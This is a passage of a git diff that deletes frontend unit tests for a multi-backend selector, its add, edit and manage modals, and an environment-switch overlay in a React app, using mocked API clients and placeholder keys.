fields with the backend data passed as prop", () => { - renderWithProviders( - , - ); - - expect(screen.getByTestId("edit-backend-name")).toHaveValue("My Server"); - expect(screen.getByTestId("edit-backend-host")).toHaveValue( - "http://localhost:9000", - ); - expect(screen.getByTestId("edit-backend-api-key")).toHaveValue("sk-old"); - }); - - it("disables Save when name is cleared", async () => { - renderWithProviders( - , - ); - - const submit = screen.getByTestId( - "edit-backend-submit", - ) as HTMLButtonElement; - expect(submit).not.toBeDisabled(); - - const user = userEvent.setup(); - const nameInput = screen.getByTestId("edit-backend-name"); - await user.clear(nameInput); - - expect(submit).toBeDisabled(); - }); - - it("calls updateBackend and onClose on successful submit", async () => { - let backendId = ""; - const onClose = vi.fn(); - renderWithProviders( - { - backendId = ctx.addBackend({ - name: "Local Seed", - host: "http://localhost:9000", - apiKey: "sk-old", - kind: "local", - }).id; - }} - > - - , - ); - - await waitFor(() => { - expect(screen.getByTestId("edit-backend-name")).toHaveValue("Local Seed"); - }); - - const user = userEvent.setup(); - - // Verify the submit button is enabled with pre-filled values - const submitBtn = screen.getByTestId("edit-backend-submit"); - expect(submitBtn).not.toBeDisabled(); - - await user.click(submitBtn); - - await waitFor(() => expect(onClose).toHaveBeenCalled()); - - const stored = JSON.parse( - window.localStorage.getItem("openhands-backends") ?? "[]", - ); - const updated = stored.find((b: { id: string }) => b.id === backendId); - expect(updated).toMatchObject({ - id: backendId, - name: "Local Seed", - host: "http://localhost:9000", - kind: "local", - }); - }); - - it("shows connection error and keeps modal open when probe fails", async () => { - // Default: health check succeeds (otherwise the modal won't render cleanly). - // Override just before the submit action so the submit-time probe fails. - let backendId = ""; - renderWithProviders( - { - backendId = ctx.addBackend({ - name: "Offline Server", - host: "http://localhost:9999", - apiKey: "sk-key", - kind: "local", - }).id; - }} - > - - , - ); - - await waitFor(() => { - expect(screen.getByTestId("edit-backend-name")).toHaveValue( - "Offline Server", - ); - }); - - const user = userEvent.setup(); - const nameInput = screen.getByTestId("edit-backend-name"); - await user.clear(nameInput); - await user.type(nameInput, "Retry Server"); - - // Now make the submit-time probe fail (health check already consumed the default mock). - getServerInfoMock.mockRejectedValueOnce(new Error("Connection refused")); - - await user.click(screen.getByTestId("edit-backend-submit")); - - expect(await screen.findByTestId("edit-backend-error")).toHaveTextContent( - "Connection refused", - ); - }); - - it("preserves cloud kind when editing a cloud backend", async () => { - let backendId = ""; - const onClose = vi.fn(); - renderWithProviders( - { - backendId = ctx.addBackend({ - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "sk-cloud", - kind: "cloud", - }).id; - }} - > - - , - ); - - await waitFor(() => { - expect(screen.getByTestId("edit-backend-name")).toHaveValue( - "OpenHands Cloud", - ); - }); - - const user = userEvent.setup(); - const nameInput = screen.getByTestId("edit-backend-name"); - await user.clear(nameInput); - await user.type(nameInput, "Renamed Cloud"); - - const apiKeyInput = screen.getByTestId("edit-backend-api-key"); - await user.clear(apiKeyInput); - await user.type(apiKeyInput, "new-token"); - - await user.click(screen.getByTestId("edit-backend-submit")); - - await waitFor(() => expect(onClose).toHaveBeenCalled()); - - const stored = JSON.parse( - window.localStorage.getItem("openhands-backends") ?? "[]", - ); - const updated = stored.find((b: { id: string }) => b.id === backendId); - expect(updated).toMatchObject({ - id: backendId, - kind: "cloud", - }); - }); - - it("locks add mode to Cloud login when VITE_LOCK_TO_CLOUD is set", () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com"); - - renderWithProviders(); - - expect(screen.getByTestId("add-backend-cloud-title")).toBeVisible(); - expect(screen.getByTestId("add-backend-login-button")).toBeVisible(); - expect(screen.queryByTestId("add-backend-host")).not.toBeInTheDocument(); - expect(screen.queryByTestId("add-backend-api-key")).not.toBeInTheDocument(); - expect( - screen.queryByTestId("add-backend-advanced-toggle"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("add-backend-cloud-host"), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/backends/backend-selector.test.tsx b/__tests__/components/backends/backend-selector.test.tsx deleted file mode 100644 index e7a7d931e..000000000 --- a/__tests__/components/backends/backend-selector.test.tsx +++ /dev/null @@ -1,799 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { - fireEvent, - render, - screen, - waitFor, - within, -} from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { createRoutesStub, MemoryRouter } from "react-router"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import { - ActiveBackendProvider, - useActiveBackendContext, -} from "#/contexts/active-backend-context"; -import { BackendSelector } from "#/components/features/backends/backend-selector"; -import { - __resetEnvironmentSwitchOverlayForTests, - EnvironmentSwitchOverlay, -} from "#/components/features/backends/environment-switch-overlay"; -import { ENVIRONMENT_SWITCH_SETACTIVE_DELAY_MS } from "#/components/features/backends/environment-switch-store"; - -import { - ServerClient, - SettingsClient, -} from "@openhands/typescript-client/clients"; -import { - getCloudOrganizations, - getCloudOrganizationMe, - getCurrentCloudApiKey, -} from "#/api/cloud/organization-service.api"; - -vi.mock("#/api/cloud/organization-service.api", () => ({ - getCloudOrganizations: vi.fn(), - getCloudOrganizationMe: vi.fn(), - getCurrentCloudApiKey: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ServerClient: vi.fn(), - SettingsClient: vi.fn(), -})); - -// Shared seed configs reused across tests. -const SEED_LOCAL_1 = { - name: "Local 1", - host: "http://localhost:9000", - apiKey: "k", - kind: "local" as const, -}; - -const SEED_CLOUD_PRODUCTION = { - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-key", - kind: "cloud" as const, -}; - -function renderWithProviders(ui: React.ReactElement) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - - {ui} - - , - ); -} - -function TestSeed({ - onMount, - children, -}: { - onMount: (ctx: ReturnType) => void; - children: React.ReactNode; -}) { - const ctx = useActiveBackendContext(); - React.useEffect(() => { - onMount(ctx); - // eslint-disable-next-line react-hooks/exhaustive-deps - }, []); - return children as React.ReactElement; -} - -async function openDropdown() { - const user = userEvent.setup(); - const wrapper = screen.getByTestId("backend-selector"); - // BackendSelector renders Dropdown with `openOnHover` while the trigger is - // visible — clicking the toggle button would open via hover and then - // immediately close via the click handler. Hovering the wrapper alone is - // enough to surface the menu. - await user.hover(wrapper); - return user; -} - -beforeEach(() => { - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000"); - vi.stubEnv("VITE_SESSION_API_KEY", "session-key"); - __resetActiveStoreForTests(); - vi.mocked(getCloudOrganizations).mockReset(); - vi.mocked(getCloudOrganizations).mockResolvedValue({ - items: [], - currentOrgId: null, - }); - vi.mocked(getCloudOrganizationMe).mockReset(); - vi.mocked(getCloudOrganizationMe).mockResolvedValue({ - orgId: "", - userId: "", - role: null, - }); - // Default to the legacy-key fallback so existing assertions about - // multiple orgs being visible still hold. Tests that exercise - // org-filter behavior override this with an explicit orgId. - vi.mocked(getCurrentCloudApiKey).mockReset(); - vi.mocked(getCurrentCloudApiKey).mockResolvedValue({ - orgId: null, - isLegacyKey: true, - }); - // Default the local-server health probe to "connected" so the - // existing label-focused tests aren't surprised by a red indicator; - // tests that assert on the disconnected state override this. - vi.mocked(ServerClient).mockReset(); - vi.mocked(ServerClient).mockImplementation(function ServerClientMock() { - return { - getServerInfo: vi.fn().mockResolvedValue({ version: "1.28.0" }), - } as unknown as ServerClient; - }); - vi.mocked(SettingsClient).mockReset(); - vi.mocked(SettingsClient).mockImplementation(function SettingsClientMock() { - return { - getSettings: vi.fn().mockResolvedValue({}), - } as unknown as SettingsClient; - }); -}); - -afterEach(async () => { - // When a test selects a dropdown option, BackendSelector's onChange - // calls `triggerEnvironmentSwitch` and then awaits a real-time - // `setTimeout(..., ENVIRONMENT_SWITCH_SETACTIVE_DELAY_MS)` before - // running `setActive`. `userEvent.click` does NOT await that async - // handler, so the trailing `setActive` can land AFTER the test ends, - // re-polluting `localStorage` during a later test. The body's - // `data-environment-switching` attribute is set while the switch is - // in flight; wait it out before clearing storage so the in-flight - // `setActive` writes BEFORE we wipe state. - if (document.body.hasAttribute("data-environment-switching")) { - await new Promise((resolve) => { - setTimeout(resolve, ENVIRONMENT_SWITCH_SETACTIVE_DELAY_MS + 20); - }); - } - window.localStorage.clear(); - vi.unstubAllEnvs(); - __resetActiveStoreForTests(); - __resetEnvironmentSwitchOverlayForTests(); -}); - -describe("BackendSelector", () => { - it("shows the seeded default Local backend's name by default", () => { - renderWithProviders(); - const wrapper = screen.getByTestId("backend-selector"); - const input = wrapper.querySelector("input") as HTMLInputElement; - expect(input.value).toBe("Local"); - }); - - it("lists all registered backends in the dropdown", async () => { - renderWithProviders( - { - ctx.addBackend(SEED_LOCAL_1); - ctx.addBackend({ - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "b", - kind: "cloud", - }); - }} - > - - , - ); - - await openDropdown(); - - // The seeded default ("Local") is rendered as a normal row alongside - // the user-added backends. - expect(screen.getByText("Local")).toBeInTheDocument(); - expect(screen.getByText("Local 1")).toBeInTheDocument(); - expect(screen.getByText("Production")).toBeInTheDocument(); - }); - - it("expands a cloud backend into one row per org and records the org locally without calling cloud /switch", async () => { - vi.mocked(getCloudOrganizations).mockResolvedValue({ - items: [ - { id: "org-personal", name: "Personal" }, - { id: "org-2", name: "Acme Inc" }, - ], - currentOrgId: "org-personal", - }); - - let cloudId = ""; - renderWithProviders( - { - cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id; - // Add a second backend so auto-switch lands here, leaving the - // cloud backend unselected (the dropdown only expands org rows - // for non-active cloud backends). - ctx.addBackend(SEED_LOCAL_1); - }} - > - - , - ); - - const user = await openDropdown(); - - await waitFor(() => { - expect(screen.getByText("Production – Personal")).toBeInTheDocument(); - }); - expect(screen.getByText("Production – Acme Inc")).toBeInTheDocument(); - - await user.click(screen.getByText("Production – Acme Inc")); - - // Selecting an org row updates the active selection locally only — - // it must never trigger the cloud-mutating /switch call that used to - // leak the local-UI choice into the cloud UI's `current_org_id`. - await waitFor(() => { - const stored = JSON.parse( - window.localStorage.getItem("openhands-active-backend") ?? "null", - ); - expect(stored).toEqual({ backendId: cloudId, orgId: "org-2" }); - }); - }); - - it("filters each cloud backend's org rows to the org its API key is bound to", async () => { - // Both backends point at the same host; the user belongs to all three - // orgs, but each API key is scoped to a different one. The selector - // must show one row per backend, each labeled with its key's own org. - vi.mocked(getCloudOrganizations).mockResolvedValue({ - items: [ - { id: "org-personal", name: "Personal" }, - { id: "org-acme", name: "Acme Inc" }, - { id: "org-beta", name: "Beta Co" }, - ], - currentOrgId: "org-personal", - }); - vi.mocked(getCurrentCloudApiKey).mockImplementation(async (backend) => ({ - orgId: backend?.apiKey === "key-personal" ? "org-personal" : "org-acme", - isLegacyKey: false, - })); - - renderWithProviders( - { - ctx.addBackend({ - name: "ProdPersonal", - host: "https://app.all-hands.dev", - apiKey: "key-personal", - kind: "cloud", - }); - ctx.addBackend({ - name: "ProdAcme", - host: "https://app.all-hands.dev", - apiKey: "key-acme", - kind: "cloud", - }); - // Land on a local backend so both cloud backends are unselected - // and their org rows render in the dropdown. - ctx.addBackend(SEED_LOCAL_1); - }} - > - - , - ); - - await openDropdown(); - - await waitFor(() => { - expect(screen.getByText("ProdPersonal – Personal")).toBeInTheDocument(); - }); - expect(screen.getByText("ProdAcme – Acme Inc")).toBeInTheDocument(); - // Inaccessible orgs must not appear under either backend. - expect( - screen.queryByText("ProdPersonal – Acme Inc"), - ).not.toBeInTheDocument(); - expect(screen.queryByText("ProdAcme – Personal")).not.toBeInTheDocument(); - expect(screen.queryByText(/Beta Co/)).not.toBeInTheDocument(); - }); - - it("shows every organization as a separate row for cookie-auth cloud backends", async () => { - vi.mocked(getCloudOrganizations).mockResolvedValue({ - items: [ - { id: "org-personal", name: "Personal" }, - { id: "org-acme", name: "Acme Inc" }, - ], - currentOrgId: "org-acme", - }); - vi.mocked(getCurrentCloudApiKey).mockResolvedValue({ - orgId: "org-personal", - isLegacyKey: false, - }); - - renderWithProviders( - { - ctx.addBackend({ - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "", - kind: "cloud", - authMode: "cookie", - }); - }} - > - - , - ); - - await waitFor(() => { - const wrapper = screen.getByTestId("backend-selector"); - const input = wrapper.querySelector("input") as HTMLInputElement; - expect(input.value).toBe("OpenHands Cloud – Acme Inc"); - }); - - await openDropdown(); - - await waitFor(() => { - expect( - screen.getByText("OpenHands Cloud – Personal"), - ).toBeInTheDocument(); - }); - expect(screen.getByText("OpenHands Cloud – Acme Inc")).toBeInTheDocument(); - expect(getCurrentCloudApiKey).not.toHaveBeenCalled(); - }); - - it("labels an org as 'Personal Workspace' when /me reports user_id === org.id", async () => { - const personalOrgId = "0b93b5f2-5396-49f2-8d98-61f906184270"; - vi.mocked(getCloudOrganizations).mockResolvedValue({ - items: [ - { - id: personalOrgId, - // The auto-generated personal-workspace org has an unfriendly - // backend-side name; the GUI must override it. - name: `user_${personalOrgId}_org`, - }, - { id: "org-2", name: "Acme Inc" }, - ], - currentOrgId: personalOrgId, - }); - // /me for the personal org returns user_id === org_id; for the team - // org user_id !== org_id. - vi.mocked(getCloudOrganizationMe).mockImplementation(async (orgId) => ({ - orgId, - userId: orgId === personalOrgId ? personalOrgId : "some-user", - role: null, - })); - - renderWithProviders( - { - ctx.addBackend(SEED_CLOUD_PRODUCTION); - // Land on a local backend so the cloud backend is unselected - // and its org rows render in the dropdown. - ctx.addBackend(SEED_LOCAL_1); - }} - > - - , - ); - - await openDropdown(); - - await waitFor(() => { - expect( - screen.getByText("Production – BACKEND$PERSONAL_WORKSPACE"), - ).toBeInTheDocument(); - }); - expect(screen.getByText("Production – Acme Inc")).toBeInTheDocument(); - // The auto-generated org name must NOT be rendered. - expect( - screen.queryByText(`Production – user_${personalOrgId}_org`), - ).not.toBeInTheDocument(); - }); - - it("self-heals (cloud, null) → Cloud's current org before personal workspace", async () => { - const personalOrgId = "0b93b5f2-5396-49f2-8d98-61f906184270"; - vi.mocked(getCloudOrganizations).mockResolvedValue({ - items: [ - { id: personalOrgId, name: "Auto-generated personal" }, - { id: "org-2", name: "Acme Inc" }, - ], - currentOrgId: "org-2", - }); - vi.mocked(getCloudOrganizationMe).mockResolvedValue({ - orgId: personalOrgId, - userId: personalOrgId, - role: null, - }); - - let cloudId = ""; - renderWithProviders( - { - cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id; - // Simulate the post-refresh malformed state: active backend is - // the cloud one but no orgId is set yet. - ctx.setActive(cloudId, null); - }} - > - - , - ); - - // After orgs resolve, the selector snaps the active selection onto the - // Cloud API's current_org_id locally — without round-tripping /switch on - // the cloud backend (which would have mutated the cloud UI's current org - // as a side effect). - await waitFor(() => { - const stored = JSON.parse( - window.localStorage.getItem("openhands-active-backend") ?? "null", - ); - expect(stored).toEqual({ backendId: cloudId, orgId: "org-2" }); - }); - }); - - it("switches the active backend when an option is selected", async () => { - renderWithProviders( - { - ctx.addBackend(SEED_LOCAL_1); - }} - > - - , - ); - - // Auto-switch lands on "Local 1"; click the seeded default to switch. - const user = await openDropdown(); - await user.click(screen.getByText("Local")); - - const wrapper = screen.getByTestId("backend-selector"); - const input = wrapper.querySelector("input") as HTMLInputElement; - expect(input.value).toBe("Local"); - }); - - // @spec BM-002 — Switching backends keeps the user on the same page - it.each([ - { - name: "conversation detail → conversations list", - startPath: "/conversations/abc", - startRoute: "/conversations/:conversationId", - landingRoute: "/conversations", - expectRedirect: true, - }, - { - name: "automation detail → automations list", - startPath: "/automations/abc-123", - startRoute: "/automations/:automationId", - landingRoute: "/automations", - expectRedirect: true, - }, - { - name: "settings → stays on settings", - startPath: "/settings", - startRoute: "/settings", - landingRoute: "/conversations", - expectRedirect: false, - }, - ])( - "$name", - async ({ startPath, startRoute, landingRoute, expectRedirect }) => { - function StartRoute() { - return ( - { - ctx.addBackend(SEED_LOCAL_1); - }} - > -
- - - ); - } - function LandingRoute() { - return
; - } - const RouterStub = createRoutesStub([ - { path: startRoute, Component: StartRoute }, - { path: landingRoute, Component: LandingRoute }, - ]); - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - render( - - - - - , - ); - - const user = await openDropdown(); - await user.click(screen.getByText("Local")); - - if (expectRedirect) { - expect(await screen.findByTestId("landing-route")).toBeInTheDocument(); - } else { - await waitFor(() => { - expect(screen.getByTestId("start-route")).toBeInTheDocument(); - }); - expect(screen.queryByTestId("landing-route")).not.toBeInTheDocument(); - } - }, - ); - - it("keeps the environment-switch overlay visible even after the selector unmounts mid-switch", async () => { - // Arrange — selector and overlay are rendered in independent trees - // so the selector can be torn down without taking the overlay with - // it. This mirrors production: ContextMenuContainer's click-outside - // handler unmounts UserContextMenu (and BackendSelector) the moment - // the dropdown's portaled option list is clicked, so the trigger - // must not depend on BackendSelector staying mounted. - const selectorRender = renderWithProviders( - { - ctx.addBackend({ - name: "Acme Local", - host: "http://localhost:9000", - apiKey: "k", - kind: "local", - }); - }} - > - - , - ); - render(); - - // Act — auto-switch lands on "Acme Local"; click the seeded default - // to trigger a switch, then immediately unmount the selector (the - // click itself would do this in production via the outside-click handler). - const user = await openDropdown(); - await user.click(screen.getByText("Local")); - selectorRender.unmount(); - - // Assert — the overlay is still in the DOM with the chosen target - expect(screen.getByTestId("environment-switch-overlay")).toHaveAttribute( - "data-target", - "Local", - ); - }); - - it("does not open backend modals on mouse down alone", async () => { - renderWithProviders(); - - await openDropdown(); - - fireEvent.mouseDown(screen.getByTestId("add-backend-menu-item")); - expect(screen.queryByTestId("add-backend-modal")).not.toBeInTheDocument(); - - fireEvent.mouseDown(screen.getByTestId("manage-backends-menu-item")); - expect( - screen.queryByTestId("manage-backends-modal"), - ).not.toBeInTheDocument(); - }); - - it.each([ - { - itemTestId: "add-backend-menu-item", - modalTestId: "add-backend-modal", - }, - { - itemTestId: "manage-backends-menu-item", - modalTestId: "manage-backends-modal", - }, - ])( - "opens $modalTestId from touch without bubbling to surrounding menus", - async ({ itemTestId, modalTestId }) => { - const outsideTouchEnd = vi.fn(); - - renderWithProviders( -
- -
, - ); - - await openDropdown(); - const action = screen.getByTestId(itemTestId); - - fireEvent.touchStart(action); - fireEvent.touchEnd(action); - - expect(outsideTouchEnd).not.toHaveBeenCalled(); - expect(await screen.findByTestId(modalTestId)).toBeInTheDocument(); - }, - ); - - it("renders the backend footer actions and opens/closes the add modal", async () => { - renderWithProviders(); - - const user = await openDropdown(); - expect(screen.getByTestId("add-backend-menu-item")).toBeInTheDocument(); - expect(screen.getByTestId("manage-backends-menu-item")).toBeInTheDocument(); - - await user.click(screen.getByTestId("add-backend-menu-item")); - expect(await screen.findByTestId("add-backend-modal")).toBeInTheDocument(); - - await user.click(screen.getByTestId("add-backend-close")); - await waitFor(() => { - expect(screen.queryByTestId("add-backend-modal")).not.toBeInTheDocument(); - }); - }); - - it("hides add-backend footer action when locked to Cloud", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - - renderWithProviders(); - - await openDropdown(); - expect( - screen.queryByTestId("add-backend-menu-item"), - ).not.toBeInTheDocument(); - expect(screen.getByTestId("manage-backends-menu-item")).toHaveTextContent( - "BACKEND$RECONNECT_CLOUD", - ); - }); - - it("includes the seeded default Local backend in the manage backends modal as a removable entry", async () => { - renderWithProviders(); - - const user = await openDropdown(); - await user.click(screen.getByTestId("manage-backends-menu-item")); - - expect( - await screen.findByTestId("manage-backends-modal"), - ).toBeInTheDocument(); - // The default backend is just a regular registered entry — same row - // shape and a remove button identical to any other backend. - expect(screen.getByTestId("manage-backends-row-Local")).toBeInTheDocument(); - expect( - screen.getByTestId("manage-backends-remove-Local"), - ).toBeInTheDocument(); - }); - - it("opens the manage backends modal and removes a backend", async () => { - renderWithProviders( - { - ctx.addBackend(SEED_LOCAL_1); - }} - > - - , - ); - - const user = await openDropdown(); - await user.click(screen.getByTestId("manage-backends-menu-item")); - - expect( - await screen.findByTestId("manage-backends-modal"), - ).toBeInTheDocument(); - expect( - screen.getByTestId("manage-backends-row-Local 1"), - ).toBeInTheDocument(); - - await user.click(screen.getByTestId("manage-backends-remove-Local 1")); - expect(await screen.findByTestId("confirmation-modal")).toBeInTheDocument(); - - await user.click(screen.getByTestId("confirm-button")); - - await waitFor(() => { - expect( - screen.queryByTestId("manage-backends-row-Local 1"), - ).not.toBeInTheDocument(); - }); - // The seeded default ("Local") survives removing only "Local 1". - const remaining = JSON.parse( - window.localStorage.getItem("openhands-backends") ?? "[]", - ); - expect(remaining.map((b: { name: string }) => b.name)).toEqual(["Local"]); - }); - - // @spec BM-003 — Fallback on active backend removal - it("shows no backend when removing the only active backend from manage backends", async () => { - // Pre-seed the registry and active selection in localStorage so the - // initial render already reflects `Local 1` as active. Seeding via - // `TestSeed.onMount` instead would call `setActive` AFTER the first - // commit, causing the Dropdown's `key={activeValue-label}` to change - // and remount the dropdown — which races with the async health probe - // and intermittently drops the open-click state update. - const local1Id = "local-1-test-id"; - window.localStorage.setItem( - "openhands-backends", - JSON.stringify([ - { - id: local1Id, - name: "Local 1", - host: "http://localhost:9000", - apiKey: "k", - kind: "local", - }, - ]), - ); - window.localStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: local1Id, orgId: null }), - ); - __resetActiveStoreForTests(); - - renderWithProviders(); - - let wrapper = screen.getByTestId("backend-selector"); - let input = wrapper.querySelector("input") as HTMLInputElement; - expect(input.value).toBe("Local 1"); - - const user = await openDropdown(); - await user.click(screen.getByTestId("manage-backends-menu-item")); - await user.click( - await screen.findByTestId("manage-backends-remove-Local 1"), - ); - await user.click(screen.getByTestId("confirm-button")); - - await waitFor(() => { - expect( - screen.queryByTestId("manage-backends-row-Local 1"), - ).not.toBeInTheDocument(); - }); - - // The active selection is cleared because its target was removed; - // no registered backend remains, so the selector shows the explicit - // unavailable state instead of synthesizing a backend. - const stored = JSON.parse( - window.localStorage.getItem("openhands-active-backend") ?? "null", - ); - expect(stored).toBeNull(); - - wrapper = screen.getByTestId("backend-selector"); - input = wrapper.querySelector("input") as HTMLInputElement; - expect(input.value).toBe("BACKEND$NO_BACKEND_AVAILABLE"); - }); - - describe("connection indicator", () => { - it("renders one status dot per option, green when the probe succeeds", async () => { - vi.mocked(SettingsClient).mockImplementation( - function SettingsClientMock() { - return { - getSettings: vi.fn().mockResolvedValue({}), - } as unknown as SettingsClient; - }, - ); - - renderWithProviders( - { - ctx.addBackend(SEED_LOCAL_1); - }} - > - - , - ); - - await openDropdown(); - - // One dot for the seeded default row + one for "Local 1". - const dots = await screen.findAllByTestId("backend-status-dot"); - expect(dots.length).toBeGreaterThanOrEqual(2); - - await waitFor(() => { - const connected = screen - .getAllByTestId("backend-status-dot") - .filter((el) => el.getAttribute("data-status") === "connected"); - expect(connected.length).toBeGreaterThanOrEqual(2); - }); - }); - - it("flips the status dot to red when the local probe fails", async () => { - vi.mocked(SettingsClient).mockImplementation( - function SettingsClientMock() { - return { - getSettings: vi.fn().mockRejectedValue(new Error("ECONNREFUSED")), - } as unknown as SettingsClient; - }, - ); - - renderWithProviders(); - - await waitFor(() => { - const wrapper = screen.getByTestId("backend-selector"); - const dot = within(wrapper).getByTestId("backend-status-dot"); - expect(dot.getAttribute("data-status")).toBe("disconnected"); - }); - }); - }); -}); diff --git a/__tests__/components/backends/environment-switch-overlay.test.tsx b/__tests__/components/backends/environment-switch-overlay.test.tsx deleted file mode 100644 index d9332155c..000000000 --- a/__tests__/components/backends/environment-switch-overlay.test.tsx +++ /dev/null @@ -1,66 +0,0 @@ -import React from "react"; -import { act, render, screen } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetEnvironmentSwitchOverlayForTests, - dismissEnvironmentSwitch, - ENVIRONMENT_SWITCH_DURATION_MS, - EnvironmentSwitchOverlay, - triggerEnvironmentSwitch, -} from "#/components/features/backends/environment-switch-overlay"; - -describe("EnvironmentSwitchOverlay", () => { - beforeEach(() => { - vi.useFakeTimers(); - }); - - afterEach(() => { - __resetEnvironmentSwitchOverlayForTests(); - vi.useRealTimers(); - }); - - it("renders the overlay with the requested target on trigger and tears it down after the configured duration", () => { - // Arrange - render(); - - // Act — request a switch to a specific environment - act(() => { - triggerEnvironmentSwitch("Acme Cloud"); - }); - - // Assert — overlay is mounted and carries the requested target - expect(screen.getByTestId("environment-switch-overlay")).toHaveAttribute( - "data-target", - "Acme Cloud", - ); - - // Act — wait out the auto-hide window - act(() => { - vi.advanceTimersByTime(ENVIRONMENT_SWITCH_DURATION_MS); - }); - - // Assert — overlay tears itself down without further user action - expect( - screen.queryByTestId("environment-switch-overlay"), - ).not.toBeInTheDocument(); - }); - - it("hides immediately when dismissed before the auto-hide timeout", () => { - render(); - - act(() => { - triggerEnvironmentSwitch("Acme Cloud"); - }); - expect( - screen.getByTestId("environment-switch-overlay"), - ).toBeInTheDocument(); - - act(() => { - dismissEnvironmentSwitch(); - }); - - expect( - screen.queryByTestId("environment-switch-overlay"), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/backends/manage-backends-modal.test.tsx b/__tests__/components/backends/manage-backends-modal.test.tsx deleted file mode 100644 index 18be777f0..000000000 --- a/__tests__/components/backends/manage-backends-modal.test.tsx +++ /dev/null @@ -1,949 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor, within } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend"; -import { - BACKEND_HEALTH_STORAGE_KEY, - MAX_CONSECUTIVE_FAILURES, -} from "#/api/backend-registry/health-storage"; -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import { __resetHealthStoreForTests } from "#/api/backend-registry/health-store"; -import { - ActiveBackendProvider, - useActiveBackendContext, -} from "#/contexts/active-backend-context"; -import { ManageBackendsModal } from "#/components/features/backends/manage-backends-modal"; -import { BackendVersion } from "#/components/features/backends/backend-version"; -import { BackendRow } from "#/components/features/backends/backend-row"; -import { type Backend } from "#/api/backend-registry/types"; -import { CLOUD_BACKEND_LOGGED_OUT_ERROR } from "#/hooks/query/use-backends-health"; -import { - getCloudOrganizations, - getCloudOrganizationMe, - getCurrentCloudApiKey, -} from "#/api/cloud/organization-service.api"; -import * as telemetry from "#/services/telemetry"; - -const deviceFlowMocks = vi.hoisted(() => ({ - startDeviceFlow: vi.fn(), - pollForToken: vi.fn(), -})); - -const getServerInfoMock = vi.fn().mockResolvedValue({ version: "1.28.0" }); -const getSettingsMock = vi.fn().mockResolvedValue({}); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ServerClient: vi.fn(function ServerClientMock() { - return { getServerInfo: getServerInfoMock }; - }), - SettingsClient: vi.fn(function SettingsClientMock() { - return { getSettings: getSettingsMock }; - }), -})); - -vi.mock("#/api/cloud/organization-service.api", () => ({ - getCloudOrganizations: vi.fn(), - getCloudOrganizationMe: vi.fn(), - getCurrentCloudApiKey: vi.fn(), -})); - -// Partial mock: only the device-flow network calls are stubbed. The pure -// host-classifier `isOpenHandsCloudHost` (which the backend form uses to infer -// a backend's kind) is inherited from the real module so classification stays -// faithful to production. -vi.mock("#/api/device-flow-client", async (importOriginal) => { - const actual = - await importOriginal(); - return { - ...actual, - startDeviceFlow: deviceFlowMocks.startDeviceFlow, - pollForToken: deviceFlowMocks.pollForToken, - }; -}); - -let captureMock: ReturnType; - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => ({ - data: { user_consents_to_analytics: true, email: "user@example.com" }, - }), -})); - -function renderWithProviders(ui: React.ReactElement) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - {ui} - , - ); -} - -function TestSeed({ - onMount, - children, -}: { - onMount: (ctx: ReturnType) => void; - children: React.ReactNode; -}) { - const ctx = useActiveBackendContext(); - React.useEffect(() => { - onMount(ctx); - }, []); - return children as React.ReactElement; -} - -beforeEach(() => { - captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined); - vi.spyOn(telemetry, "isTelemetryEnabled").mockReturnValue(true); - window.localStorage.clear(); - getServerInfoMock.mockReset(); - getServerInfoMock.mockResolvedValue({ version: "1.28.0" }); - getSettingsMock.mockReset(); - getSettingsMock.mockResolvedValue({}); - vi.mocked(getCloudOrganizations).mockReset(); - vi.mocked(getCloudOrganizations).mockResolvedValue({ - items: [], - currentOrgId: null, - }); - vi.mocked(getCloudOrganizationMe).mockReset(); - vi.mocked(getCloudOrganizationMe).mockResolvedValue({ - orgId: "", - userId: "", - role: null, - }); - vi.mocked(getCurrentCloudApiKey).mockReset(); - vi.mocked(getCurrentCloudApiKey).mockResolvedValue({ - orgId: null, - isLegacyKey: true, - }); - deviceFlowMocks.startDeviceFlow.mockReset(); - deviceFlowMocks.startDeviceFlow.mockResolvedValue({ - device_code: "device-code", - user_code: "ABCD-EFGH", - verification_uri: "https://app.all-hands.dev/device", - verification_uri_complete: - "https://app.all-hands.dev/device?user_code=ABCD-EFGH", - expires_in: 600, - interval: 5, - }); - deviceFlowMocks.pollForToken.mockReset(); - deviceFlowMocks.pollForToken.mockImplementation(() => new Promise(() => {})); - __resetActiveStoreForTests(); - __resetHealthStoreForTests(); -}); - -afterEach(() => { - window.localStorage.clear(); - vi.restoreAllMocks(); - vi.unstubAllEnvs(); - delete (window as unknown as Record) - .__AGENT_CANVAS_LOCK_TO_CLOUD__; - 